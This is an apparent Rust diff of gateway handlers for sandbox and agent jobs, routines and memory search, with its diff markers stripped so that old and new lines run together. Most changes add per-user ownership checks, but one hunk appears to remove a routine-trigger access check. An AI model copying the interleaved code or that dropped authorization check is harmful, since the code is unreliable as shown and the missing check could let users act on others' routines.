user_id: j.user_id.clone(),
|
user_id: j.user_id.clone(),
|
||||||
created_at: j.created_at.to_rfc3339(),
|
created_at: j.created_at.to_rfc3339(),
|
||||||
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
|
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
})
|
||||||
Err(e) => {
|
.collect();
|
||||||
tracing::warn!("Failed to list sandbox jobs: {}", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fetch agent (non-sandbox) jobs from database, deduplicating by ID.
|
|
||||||
match store.list_agent_jobs().await {
|
|
||||||
Ok(agent_jobs) => {
|
|
||||||
for j in &agent_jobs {
|
|
||||||
if seen_ids.contains(&j.id) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
jobs.push(JobInfo {
|
|
||||||
id: j.id,
|
|
||||||
title: j.title.clone(),
|
|
||||||
state: j.status.clone(),
|
|
||||||
user_id: j.user_id.clone(),
|
|
||||||
created_at: j.created_at.to_rfc3339(),
|
|
||||||
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!("Failed to list agent jobs: {}", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Most recent first.
|
// Most recent first.
|
||||||
jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at));
|
jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at));
|
||||||
@@ -86,49 +62,18 @@ pub async fn jobs_summary_handler(
|
|||||||
"Database not available".to_string(),
|
"Database not available".to_string(),
|
||||||
))?;
|
))?;
|
||||||
|
|
||||||
let mut total = 0;
|
let s = store
|
||||||
let mut pending = 0;
|
.sandbox_job_summary_for_user(&state.user_id)
|
||||||
let mut in_progress = 0;
|
.await
|
||||||
let mut completed = 0;
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||||
let mut failed = 0;
|
|
||||||
let mut stuck = 0;
|
|
||||||
|
|
||||||
// Sandbox job counts.
|
|
||||||
match store.sandbox_job_summary().await {
|
|
||||||
Ok(s) => {
|
|
||||||
total += s.total;
|
|
||||||
pending += s.creating;
|
|
||||||
in_progress += s.running;
|
|
||||||
completed += s.completed;
|
|
||||||
failed += s.failed + s.interrupted;
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!("Failed to fetch sandbox job summary: {}", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Agent job counts.
|
|
||||||
match store.agent_job_summary().await {
|
|
||||||
Ok(s) => {
|
|
||||||
total += s.total;
|
|
||||||
pending += s.pending;
|
|
||||||
in_progress += s.in_progress;
|
|
||||||
completed += s.completed;
|
|
||||||
failed += s.failed;
|
|
||||||
stuck += s.stuck;
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!("Failed to fetch agent job summary: {}", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(Json(JobSummaryResponse {
|
Ok(Json(JobSummaryResponse {
|
||||||
total,
|
total: s.total,
|
||||||
pending,
|
pending: s.creating,
|
||||||
in_progress,
|
in_progress: s.running,
|
||||||
completed,
|
completed: s.completed,
|
||||||
failed,
|
failed: s.failed + s.interrupted,
|
||||||
stuck,
|
stuck: 0,
|
||||||
}))
|
}))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -136,16 +81,16 @@ pub async fn jobs_detail_handler(
|
|||||||
State(state): State<Arc<GatewayState>>,
|
State(state): State<Arc<GatewayState>>,
|
||||||
Path(id): Path<String>,
|
Path(id): Path<String>,
|
||||||
) -> Result<Json<JobDetailResponse>, (StatusCode, String)> {
|
) -> Result<Json<JobDetailResponse>, (StatusCode, String)> {
|
||||||
let store = state.store.as_ref().ok_or((
|
|
||||||
StatusCode::SERVICE_UNAVAILABLE,
|
|
||||||
"Database not available".to_string(),
|
|
||||||
))?;
|
|
||||||
|
|
||||||
let job_id = Uuid::parse_str(&id)
|
let job_id = Uuid::parse_str(&id)
|
||||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||||
|
|
||||||
// Try sandbox job from DB first.
|
// Try sandbox job from DB first, scoped to the authenticated user.
|
||||||
if let Ok(Some(job)) = store.get_sandbox_job(job_id).await {
|
if let Some(ref store) = state.store
|
||||||
|
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
|
||||||
|
{
|
||||||
|
if job.user_id != state.user_id {
|
||||||
|
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||||
|
}
|
||||||
let browse_id = std::path::Path::new(&job.project_dir)
|
let browse_id = std::path::Path::new(&job.project_dir)
|
||||||
.file_name()
|
.file_name()
|
||||||
.map(|n| n.to_string_lossy().to_string())
|
.map(|n| n.to_string_lossy().to_string())
|
||||||
@@ -181,9 +126,6 @@ pub async fn jobs_detail_handler(
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten();
|
|
||||||
let is_claude_code = mode.as_deref() == Some("claude_code");
|
|
||||||
|
|
||||||
return Ok(Json(JobDetailResponse {
|
return Ok(Json(JobDetailResponse {
|
||||||
id: job.id,
|
id: job.id,
|
||||||
title: job.task.clone(),
|
title: job.task.clone(),
|
||||||
@@ -196,44 +138,11 @@ pub async fn jobs_detail_handler(
|
|||||||
elapsed_secs,
|
elapsed_secs,
|
||||||
project_dir: Some(job.project_dir.clone()),
|
project_dir: Some(job.project_dir.clone()),
|
||||||
browse_url: Some(format!("/projects/{}/", browse_id)),
|
browse_url: Some(format!("/projects/{}/", browse_id)),
|
||||||
job_mode: mode.filter(|m| m != "worker"),
|
job_mode: {
|
||||||
|
let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten();
|
||||||
|
mode.filter(|m| m != "worker")
|
||||||
|
},
|
||||||
transitions,
|
transitions,
|
||||||
can_restart: state.job_manager.is_some(),
|
|
||||||
can_prompt: is_claude_code && state.prompt_queue.is_some(),
|
|
||||||
job_kind: Some("sandbox".to_string()),
|
|
||||||
}));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fall back to agent job from DB.
|
|
||||||
if let Ok(Some(ctx)) = store.get_job(job_id).await {
|
|
||||||
let elapsed_secs = ctx.started_at.map(|start| {
|
|
||||||
let end = ctx.completed_at.unwrap_or_else(chrono::Utc::now);
|
|
||||||
(end - start).num_seconds().max(0) as u64
|
|
||||||
});
|
|
||||||
|
|
||||||
// Only show prompt bar for jobs that have a running worker (Pending/InProgress).
|
|
||||||
// Stuck jobs have no active worker loop, so messages would be silently dropped.
|
|
||||||
let is_promptable = matches!(
|
|
||||||
ctx.state,
|
|
||||||
crate::context::JobState::Pending | crate::context::JobState::InProgress
|
|
||||||
);
|
|
||||||
return Ok(Json(JobDetailResponse {
|
|
||||||
id: ctx.job_id,
|
|
||||||
title: ctx.title.clone(),
|
|
||||||
description: ctx.description.clone(),
|
|
||||||
state: ctx.state.to_string(),
|
|
||||||
user_id: ctx.user_id.clone(),
|
|
||||||
created_at: ctx.created_at.to_rfc3339(),
|
|
||||||
started_at: ctx.started_at.map(|dt| dt.to_rfc3339()),
|
|
||||||
completed_at: ctx.completed_at.map(|dt| dt.to_rfc3339()),
|
|
||||||
elapsed_secs,
|
|
||||||
project_dir: None,
|
|
||||||
browse_url: None,
|
|
||||||
job_mode: None,
|
|
||||||
transitions: Vec::new(),
|
|
||||||
can_restart: state.scheduler.is_some(),
|
|
||||||
can_prompt: is_promptable && state.scheduler.is_some(),
|
|
||||||
job_kind: Some("agent".to_string()),
|
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -247,10 +156,13 @@ pub async fn jobs_cancel_handler(
|
|||||||
let job_id = Uuid::parse_str(&id)
|
let job_id = Uuid::parse_str(&id)
|
||||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||||
|
|
||||||
// Try sandbox job cancellation.
|
// Try sandbox job cancellation, scoped to the authenticated user.
|
||||||
if let Some(ref store) = state.store
|
if let Some(ref store) = state.store
|
||||||
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
|
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
|
||||||
{
|
{
|
||||||
|
if job.user_id != state.user_id {
|
||||||
|
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||||
|
}
|
||||||
if job.status == "running" || job.status == "creating" {
|
if job.status == "running" || job.status == "creating" {
|
||||||
// Stop the container if we have a job manager.
|
// Stop the container if we have a job manager.
|
||||||
if let Some(ref jm) = state.job_manager
|
if let Some(ref jm) = state.job_manager
|
||||||
@@ -276,26 +188,6 @@ pub async fn jobs_cancel_handler(
|
|||||||
})));
|
})));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Fall back to agent job cancellation via DB status update.
|
|
||||||
if let Some(ref store) = state.store
|
|
||||||
&& let Ok(Some(job)) = store.get_job(job_id).await
|
|
||||||
{
|
|
||||||
if job.state.is_active() {
|
|
||||||
store
|
|
||||||
.update_job_status(
|
|
||||||
job_id,
|
|
||||||
crate::context::JobState::Cancelled,
|
|
||||||
Some("Cancelled by user"),
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
|
||||||
}
|
|
||||||
return Ok(Json(serde_json::json!({
|
|
||||||
"status": "cancelled",
|
|
||||||
"job_id": job_id,
|
|
||||||
})));
|
|
||||||
}
|
|
||||||
|
|
||||||
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
|
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -307,168 +199,127 @@ pub async fn jobs_restart_handler(
|
|||||||
StatusCode::SERVICE_UNAVAILABLE,
|
StatusCode::SERVICE_UNAVAILABLE,
|
||||||
"Database not available".to_string(),
|
"Database not available".to_string(),
|
||||||
))?;
|
))?;
|
||||||
|
let jm = state.job_manager.as_ref().ok_or((
|
||||||
|
StatusCode::SERVICE_UNAVAILABLE,
|
||||||
|
"Sandbox not enabled".to_string(),
|
||||||
|
))?;
|
||||||
|
|
||||||
let old_job_id = Uuid::parse_str(&id)
|
let old_job_id = Uuid::parse_str(&id)
|
||||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||||
|
|
||||||
// Try sandbox job restart first.
|
let old_job = store
|
||||||
if let Ok(Some(old_job)) = store.get_sandbox_job(old_job_id).await {
|
.get_sandbox_job(old_job_id)
|
||||||
if old_job.status != "interrupted" && old_job.status != "failed" {
|
.await
|
||||||
return Err((
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||||
StatusCode::CONFLICT,
|
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||||
format!("Cannot restart job in state '{}'", old_job.status),
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
let jm = state.job_manager.as_ref().ok_or((
|
// Scope to the authenticated user.
|
||||||
StatusCode::SERVICE_UNAVAILABLE,
|
if old_job.user_id != state.user_id {
|
||||||
"Sandbox not enabled".to_string(),
|
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||||
))?;
|
|
||||||
|
|
||||||
// Enrich the task with failure context.
|
|
||||||
let task = if let Some(ref reason) = old_job.failure_reason {
|
|
||||||
format!(
|
|
||||||
"Previous attempt failed: {}. Retry: {}",
|
|
||||||
reason, old_job.task
|
|
||||||
)
|
|
||||||
} else {
|
|
||||||
old_job.task.clone()
|
|
||||||
};
|
|
||||||
|
|
||||||
let new_job_id = Uuid::new_v4();
|
|
||||||
let now = chrono::Utc::now();
|
|
||||||
|
|
||||||
let record = crate::history::SandboxJobRecord {
|
|
||||||
id: new_job_id,
|
|
||||||
task: task.clone(),
|
|
||||||
status: "creating".to_string(),
|
|
||||||
user_id: old_job.user_id.clone(),
|
|
||||||
project_dir: old_job.project_dir.clone(),
|
|
||||||
success: None,
|
|
||||||
failure_reason: None,
|
|
||||||
created_at: now,
|
|
||||||
started_at: None,
|
|
||||||
completed_at: None,
|
|
||||||
credential_grants_json: old_job.credential_grants_json.clone(),
|
|
||||||
};
|
|
||||||
store
|
|
||||||
.save_sandbox_job(&record)
|
|
||||||
.await
|
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
|
||||||
|
|
||||||
let mode = match store.get_sandbox_job_mode(old_job_id).await {
|
|
||||||
Ok(Some(m)) if m == "claude_code" => {
|
|
||||||
crate::orchestrator::job_manager::JobMode::ClaudeCode
|
|
||||||
}
|
|
||||||
_ => crate::orchestrator::job_manager::JobMode::Worker,
|
|
||||||
};
|
|
||||||
|
|
||||||
let credential_grants: Vec<crate::orchestrator::auth::CredentialGrant> =
|
|
||||||
serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| {
|
|
||||||
tracing::warn!(
|
|
||||||
job_id = %old_job.id,
|
|
||||||
"Failed to deserialize credential grants from stored job: {}. \
|
|
||||||
Restarted job will have no credentials.",
|
|
||||||
e
|
|
||||||
);
|
|
||||||
vec![]
|
|
||||||
});
|
|
||||||
|
|
||||||
let project_dir = std::path::PathBuf::from(&old_job.project_dir);
|
|
||||||
let _token = jm
|
|
||||||
.create_job(
|
|
||||||
new_job_id,
|
|
||||||
&task,
|
|
||||||
Some(project_dir),
|
|
||||||
mode,
|
|
||||||
credential_grants,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.map_err(|e| {
|
|
||||||
(
|
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
|
||||||
format!("Failed to create container: {}", e),
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
|
|
||||||
store
|
|
||||||
.update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None)
|
|
||||||
.await
|
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
|
||||||
|
|
||||||
return Ok(Json(serde_json::json!({
|
|
||||||
"status": "restarted",
|
|
||||||
"old_job_id": old_job_id,
|
|
||||||
"new_job_id": new_job_id,
|
|
||||||
})));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Try agent job restart: dispatch a new job via the scheduler.
|
if old_job.status != "interrupted" && old_job.status != "failed" {
|
||||||
if let Ok(Some(old_job)) = store.get_job(old_job_id).await {
|
return Err((
|
||||||
if old_job.state.is_active() {
|
StatusCode::CONFLICT,
|
||||||
return Err((
|
format!("Cannot restart job in state '{}'", old_job.status),
|
||||||
StatusCode::CONFLICT,
|
));
|
||||||
format!("Cannot restart job in state '{}'", old_job.state),
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
let slot = state.scheduler.as_ref().ok_or((
|
|
||||||
StatusCode::SERVICE_UNAVAILABLE,
|
|
||||||
"Scheduler not available".to_string(),
|
|
||||||
))?;
|
|
||||||
let scheduler_guard = slot.read().await;
|
|
||||||
let scheduler = scheduler_guard.as_ref().ok_or((
|
|
||||||
StatusCode::SERVICE_UNAVAILABLE,
|
|
||||||
"Agent not started yet".to_string(),
|
|
||||||
))?;
|
|
||||||
|
|
||||||
// Look up failure reason (O(1) point lookup).
|
|
||||||
let failure_reason = store
|
|
||||||
.get_agent_job_failure_reason(old_job_id)
|
|
||||||
.await
|
|
||||||
.ok()
|
|
||||||
.flatten()
|
|
||||||
.unwrap_or_default();
|
|
||||||
|
|
||||||
let title = if !failure_reason.is_empty() {
|
|
||||||
format!(
|
|
||||||
"Previous attempt failed: {}. Retry: {}",
|
|
||||||
failure_reason, old_job.title
|
|
||||||
)
|
|
||||||
} else {
|
|
||||||
old_job.title.clone()
|
|
||||||
};
|
|
||||||
|
|
||||||
let new_job_id = scheduler
|
|
||||||
.dispatch_job(&old_job.user_id, &title, &old_job.description, None)
|
|
||||||
.await
|
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
|
||||||
|
|
||||||
return Ok(Json(serde_json::json!({
|
|
||||||
"status": "restarted",
|
|
||||||
"old_job_id": old_job_id,
|
|
||||||
"new_job_id": new_job_id,
|
|
||||||
})));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
|
// Create a new job with the same task and project_dir.
|
||||||
|
let new_job_id = Uuid::new_v4();
|
||||||
|
let now = chrono::Utc::now();
|
||||||
|
|
||||||
|
let record = crate::history::SandboxJobRecord {
|
||||||
|
id: new_job_id,
|
||||||
|
task: old_job.task.clone(),
|
||||||
|
status: "creating".to_string(),
|
||||||
|
user_id: old_job.user_id.clone(),
|
||||||
|
project_dir: old_job.project_dir.clone(),
|
||||||
|
success: None,
|
||||||
|
failure_reason: None,
|
||||||
|
created_at: now,
|
||||||
|
started_at: None,
|
||||||
|
completed_at: None,
|
||||||
|
credential_grants_json: old_job.credential_grants_json.clone(),
|
||||||
|
};
|
||||||
|
store
|
||||||
|
.save_sandbox_job(&record)
|
||||||
|
.await
|
||||||
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||||
|
|
||||||
|
// Look up the original job's mode so the restart uses the same mode.
|
||||||
|
let mode = match store.get_sandbox_job_mode(old_job_id).await {
|
||||||
|
Ok(Some(m)) if m == "claude_code" => crate::orchestrator::job_manager::JobMode::ClaudeCode,
|
||||||
|
_ => crate::orchestrator::job_manager::JobMode::Worker,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Restore credential grants from the original job so the restarted container
|
||||||
|
// has access to the same secrets.
|
||||||
|
let credential_grants: Vec<crate::orchestrator::auth::CredentialGrant> =
|
||||||
|
serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| {
|
||||||
|
tracing::warn!(
|
||||||
|
job_id = %old_job.id,
|
||||||
|
"Failed to deserialize credential grants from stored job: {}. \
|
||||||
|
Restarted job will have no credentials.",
|
||||||
|
e
|
||||||
|
);
|
||||||
|
vec![]
|
||||||
|
});
|
||||||
|
|
||||||
|
let project_dir = std::path::PathBuf::from(&old_job.project_dir);
|
||||||
|
let _token = jm
|
||||||
|
.create_job(
|
||||||
|
new_job_id,
|
||||||
|
&old_job.task,
|
||||||
|
Some(project_dir),
|
||||||
|
mode,
|
||||||
|
credential_grants,
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| {
|
||||||
|
(
|
||||||
|
StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
|
format!("Failed to create container: {}", e),
|
||||||
|
)
|
||||||
|
})?;
|
||||||
|
|
||||||
|
store
|
||||||
|
.update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None)
|
||||||
|
.await
|
||||||
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||||
|
|
||||||
|
Ok(Json(serde_json::json!({
|
||||||
|
"status": "restarted",
|
||||||
|
"old_job_id": old_job_id,
|
||||||
|
"new_job_id": new_job_id,
|
||||||
|
})))
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Submit a follow-up prompt to a running job.
|
/// Submit a follow-up prompt to a running Claude Code sandbox job.
|
||||||
///
|
|
||||||
/// Routes to the appropriate backend:
|
|
||||||
/// - Claude Code sandbox jobs → prompt queue (polled by the bridge)
|
|
||||||
/// - Agent (non-sandbox) jobs → WorkerMessage injection via scheduler
|
|
||||||
/// - Worker-mode sandbox jobs → not supported (no mechanism to inject)
|
|
||||||
pub async fn jobs_prompt_handler(
|
pub async fn jobs_prompt_handler(
|
||||||
State(state): State<Arc<GatewayState>>,
|
State(state): State<Arc<GatewayState>>,
|
||||||
Path(id): Path<String>,
|
Path(id): Path<String>,
|
||||||
Json(body): Json<serde_json::Value>,
|
Json(body): Json<serde_json::Value>,
|
||||||
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
|
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
|
||||||
|
let prompt_queue = state.prompt_queue.as_ref().ok_or((
|
||||||
|
StatusCode::NOT_IMPLEMENTED,
|
||||||
|
"Claude Code not configured".to_string(),
|
||||||
|
))?;
|
||||||
|
|
||||||
let job_id: uuid::Uuid = id
|
let job_id: uuid::Uuid = id
|
||||||
.parse()
|
.parse()
|
||||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||||
|
|
||||||
|
// Verify user owns this job.
|
||||||
|
if let Some(ref store) = state.store
|
||||||
|
&& !store
|
||||||
|
.sandbox_job_belongs_to_user(job_id, &state.user_id)
|
||||||
|
.await
|
||||||
|
.unwrap_or(false)
|
||||||
|
{
|
||||||
|
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
let content = body
|
let content = body
|
||||||
.get("content")
|
.get("content")
|
||||||
.and_then(|v| v.as_str())
|
.and_then(|v| v.as_str())
|
||||||
@@ -480,57 +331,17 @@ pub async fn jobs_prompt_handler(
|
|||||||
|
|
||||||
let done = body.get("done").and_then(|v| v.as_bool()).unwrap_or(false);
|
let done = body.get("done").and_then(|v| v.as_bool()).unwrap_or(false);
|
||||||
|
|
||||||
// Try sandbox job path: check if we have a sandbox record for this ID.
|
let prompt = crate::orchestrator::api::PendingPrompt { content, done };
|
||||||
if let Some(ref s) = state.store
|
|
||||||
&& let Ok(Some(_)) = s.get_sandbox_job(job_id).await
|
|
||||||
{
|
{
|
||||||
// It's a sandbox job. Check if Claude Code mode.
|
let mut queue = prompt_queue.lock().await;
|
||||||
let mode = s.get_sandbox_job_mode(job_id).await.ok().flatten();
|
queue.entry(job_id).or_default().push_back(prompt);
|
||||||
if mode.as_deref() == Some("claude_code") {
|
|
||||||
let prompt_queue = state.prompt_queue.as_ref().ok_or((
|
|
||||||
StatusCode::NOT_IMPLEMENTED,
|
|
||||||
"Claude Code not configured".to_string(),
|
|
||||||
))?;
|
|
||||||
let prompt = crate::orchestrator::api::PendingPrompt { content, done };
|
|
||||||
{
|
|
||||||
let mut queue = prompt_queue.lock().await;
|
|
||||||
queue.entry(job_id).or_default().push_back(prompt);
|
|
||||||
}
|
|
||||||
return Ok(Json(serde_json::json!({
|
|
||||||
"status": "queued",
|
|
||||||
"job_id": job_id.to_string(),
|
|
||||||
})));
|
|
||||||
} else {
|
|
||||||
return Err((
|
|
||||||
StatusCode::NOT_IMPLEMENTED,
|
|
||||||
"Follow-up prompts are not supported for worker-mode sandbox jobs".to_string(),
|
|
||||||
));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Try agent job path: send via scheduler.
|
Ok(Json(serde_json::json!({
|
||||||
let slot = state.scheduler.as_ref().ok_or((
|
"status": "queued",
|
||||||
StatusCode::NOT_IMPLEMENTED,
|
"job_id": job_id.to_string(),
|
||||||
"Agent job prompts require the scheduler to be configured".to_string(),
|
})))
|
||||||
))?;
|
|
||||||
let scheduler_guard = slot.read().await;
|
|
||||||
if let Some(ref scheduler) = *scheduler_guard
|
|
||||||
&& scheduler.is_running(job_id).await
|
|
||||||
{
|
|
||||||
scheduler
|
|
||||||
.send_message(job_id, content)
|
|
||||||
.await
|
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
|
||||||
return Ok(Json(serde_json::json!({
|
|
||||||
"status": "sent",
|
|
||||||
"job_id": job_id.to_string(),
|
|
||||||
})));
|
|
||||||
}
|
|
||||||
|
|
||||||
Err((
|
|
||||||
StatusCode::NOT_FOUND,
|
|
||||||
"Job not found or not running".to_string(),
|
|
||||||
))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Load persisted job events for a job (for history replay on page open).
|
/// Load persisted job events for a job (for history replay on page open).
|
||||||
@@ -547,6 +358,15 @@ pub async fn jobs_events_handler(
|
|||||||
.parse()
|
.parse()
|
||||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||||
|
|
||||||
|
// Verify user owns this job.
|
||||||
|
if !store
|
||||||
|
.sandbox_job_belongs_to_user(job_id, &state.user_id)
|
||||||
|
.await
|
||||||
|
.unwrap_or(false)
|
||||||
|
{
|
||||||
|
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
let events = store
|
let events = store
|
||||||
.list_job_events(job_id, None)
|
.list_job_events(job_id, None)
|
||||||
.await
|
.await
|
||||||
@@ -596,6 +416,11 @@ pub async fn job_files_list_handler(
|
|||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||||
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||||
|
|
||||||
|
// Verify user owns this job.
|
||||||
|
if job.user_id != state.user_id {
|
||||||
|
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
let base = std::path::PathBuf::from(&job.project_dir);
|
let base = std::path::PathBuf::from(&job.project_dir);
|
||||||
let rel_path = query.path.as_deref().unwrap_or("");
|
let rel_path = query.path.as_deref().unwrap_or("");
|
||||||
let target = base.join(rel_path);
|
let target = base.join(rel_path);
|
||||||
@@ -659,6 +484,11 @@ pub async fn job_files_read_handler(
|
|||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||||
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||||
|
|
||||||
|
// Verify user owns this job.
|
||||||
|
if job.user_id != state.user_id {
|
||||||
|
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
let path = query.path.as_deref().ok_or((
|
let path = query.path.as_deref().ok_or((
|
||||||
StatusCode::BAD_REQUEST,
|
StatusCode::BAD_REQUEST,
|
||||||
"path parameter required".to_string(),
|
"path parameter required".to_string(),
|
||||||
|
|||||||
@@ -159,10 +159,10 @@ pub async fn memory_search_handler(
|
|||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||||
|
|
||||||
let hits: Vec<SearchHit> = results
|
let hits: Vec<SearchHit> = results
|
||||||
.into_iter()
|
.iter()
|
||||||
.map(|r| SearchHit {
|
.map(|r| SearchHit {
|
||||||
path: r.document_path,
|
path: r.document_id.to_string(),
|
||||||
content: r.content,
|
content: r.content.clone(),
|
||||||
score: r.score as f64,
|
score: r.score as f64,
|
||||||
})
|
})
|
||||||
.collect();
|
.collect();
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ pub async fn routines_list_handler(
|
|||||||
))?;
|
))?;
|
||||||
|
|
||||||
let routines = store
|
let routines = store
|
||||||
.list_all_routines()
|
.list_routines(&state.user_id)
|
||||||
.await
|
.await
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||||
|
|
||||||
@@ -41,7 +41,7 @@ pub async fn routines_summary_handler(
|
|||||||
))?;
|
))?;
|
||||||
|
|
||||||
let routines = store
|
let routines = store
|
||||||
.list_all_routines()
|
.list_routines(&state.user_id)
|
||||||
.await
|
.await
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||||
|
|
||||||
@@ -147,10 +147,6 @@ pub async fn routines_trigger_handler(
|
|||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||||
.ok_or((StatusCode::NOT_FOUND, "Routine not found".to_string()))?;
|
.ok_or((StatusCode::NOT_FOUND, "Routine not found".to_string()))?;
|
||||||
|
|
||||||
if routine.user_id != state.user_id {
|
|
||||||
return Err((StatusCode::FORBIDDEN, "Access denied".to_string()));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Send the routine prompt through the message pipeline as a manual trigger.
|
// Send the routine prompt through the message pipeline as a manual trigger.
|
||||||
let prompt = match &routine.action {
|
let prompt = match &routine.action {
|
||||||
crate::agent::routine::RoutineAction::Lightweight { prompt, .. } => prompt.clone(),
|
crate::agent::routine::RoutineAction::Lightweight { prompt, .. } => prompt.clone(),
|
||||||
@@ -160,12 +156,7 @@ pub async fn routines_trigger_handler(
|
|||||||
};
|
};
|
||||||
|
|
||||||
let content = format!("[routine:{}] {}", routine.name, prompt);
|
let content = format!("[routine:{}] {}", routine.name, prompt);
|
||||||
let thread_id = format!(
|
let msg = IncomingMessage::new("gateway", &state.user_id, content);
|
||||||
"routine-{}-{}",
|
|
||||||
